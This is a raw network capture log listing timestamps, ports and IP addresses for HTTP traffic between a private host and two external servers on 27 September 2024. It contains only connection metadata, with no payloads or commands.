Sep 27, 2024 16:18:21.841187000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841187000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841198921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841247082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841247082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841279984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841290951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841301918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841312885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841324091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841334105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841351986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841351986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841422081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841433048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841437101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841445923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841465950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841476917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841486931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841497898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.841530085 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841530085 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841558933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.841622114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.850089073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850100040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850116968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850128889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850140095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850155115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850163937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850168943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850178957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850189924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850198984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850202084 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850212097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850222111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850229979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850233078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850260019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850260019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850270033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850281954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850282907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850296021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850305080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850316048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850322962 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850367069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850563049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850600004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850605965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850609064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850645065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850667953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850678921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850688934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850699902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850714922 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850723028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.850742102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.850764990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893587112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893604994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893616915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893626928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893639088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893649101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893660069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893670082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893671036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893729925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893735886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893745899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893757105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893769026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893781900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893788099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893795967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893806934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893807888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893835068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893865108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893882990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893893957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893903971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893914938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893925905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893932104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893935919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893950939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893950939 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.893963099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.893990993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.894016027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898147106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898165941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898185015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898195982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898207903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898219109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898225069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898235083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898246050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898262978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898267984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898277044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898319006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898319960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898330927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898366928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898494959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898507118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898519039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898533106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898542881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898550034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898561001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898569107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898571968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898588896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898593903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898600101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898610115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.898638010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898675919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.898739100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898749113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898761034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898802042 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.898802042 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.898835897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898845911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898857117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898868084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898879051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898888111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898900032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898907900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.898907900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.898926020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898932934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.898943901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898955107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898972034 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.898977995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898989916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.898998976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899014950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899027109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.899038076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899049044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899056911 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.899056911 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.899079084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899090052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899101019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899122000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.899132967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.899132967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.899158955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.899996042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900007963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900017977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900057077 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900084019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900094986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900096893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900106907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900118113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900127888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900134087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900176048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900259018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900273085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900284052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900300026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900310040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900316954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.900327921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900338888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.900357008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.900408983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.900818110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900830030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900840044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900851011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900866985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900867939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900880098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900904894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900917053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900924921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.900928020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.900955915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901000023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901045084 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901071072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901081085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901092052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901118040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901118994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901129961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901140928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901150942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901154995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901177883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901200056 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901376009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901422024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901428938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901439905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901475906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901504040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901515007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901531935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901542902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901554108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901556969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901576996 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901598930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901607990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901627064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901638031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901648045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901650906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901659966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901674986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901679039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901688099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901698112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.901735067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.901746035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902240992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902295113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902385950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902396917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902409077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902420044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902429104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902440071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902441025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902446985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902472973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902502060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902590990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902606964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902620077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902631998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902636051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902667046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902700901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902720928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902730942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902740955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.902769089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.902802944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.925517082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925540924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925549030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925589085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925600052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925610065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925668001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925687075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925698042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925709009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925725937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925725937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925750017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925761938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925772905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925781012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925796986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925811052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925816059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925827980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925833941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925843000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.925867081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.925941944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927236080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927278042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927289963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927310944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927328110 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927359104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927370071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927381039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927397013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927407026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927418947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927464008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927511930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927557945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927575111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927586079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927617073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927654982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927675009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927685976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927695990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927721024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927730083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927737951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927782059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927789927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927799940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927810907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927819014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927850008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927862883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927866936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927875996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927882910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927894115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927912951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927949905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927959919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.927968025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927978992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927989006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.927999020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928009033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928078890 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928107023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928117037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928128004 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928136110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928145885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928153992 CEST	80	49615	185.215.113.117	192.168.2.6
